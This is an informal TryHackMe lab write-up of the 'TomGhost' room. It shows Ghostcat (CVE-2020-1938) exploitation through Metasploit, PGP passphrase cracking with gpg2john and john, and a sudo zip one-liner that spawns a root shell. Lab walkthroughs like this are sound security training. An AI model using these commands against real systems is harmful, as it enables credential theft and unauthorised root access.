Apache TomCat Service Exploit [CVE-2020–1938 ] — THM Writeup

Lab Link : TomGhost

Platform: TryHackMe

Author : ZODiAK

Get ZODiAK’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Day 19

1- Recon

NMAP

here i found a tomcat service use old version , i think this version have a vulnerability so lets search about

2- Exploitation

nice , this version have a critical bug access to attacker read and write on files system ( CVE-2020–1938 ) , and exploit code is loaded on metasploit

now use this exploit , and add rhosts(Target IP) and run

exploit code is read a web.xml file and got data from this data i think i got login credentials , try login via SSH

user.txt

3- Privilege Escalation

From skyfuck To Merlin

in skyfuck folder i found two files

i think tryhackme.asc this a signeture , however i will get this files on my kali machine to know what about

now lets crack this signeture by john the ripper to extract Passphrase

# convert file to hash
gpg2john tryhackme.asc > thm.hash
# crack hash
john --wordlist=/usr/share/wordlists/rockyou.txt thm.hash

after crack hash i need to extract data from credentials.pgp file so i use this Passphrase i extracted , but first i need to import a key from tryhackme.asc follow command

gpg --import tryhackme.asc

gpg -d credential.pgp

and done , login to server via merlin credintials

From Merlin To Root

now after login to merlin i try to what i can use via root priv without password so i type sudo -l

i can use zip via root priv to lets search about these to got anything help me i found GFOBins

follow exploit command

# Create a file 
echo "test" > note.txt

# convert this file to zip but before convert i will add exploit code to got root
sudo zip test.zip note.txt -T --unzip-command="sh -c /bin/bash"

root.txt

Thanks For Reading ❤️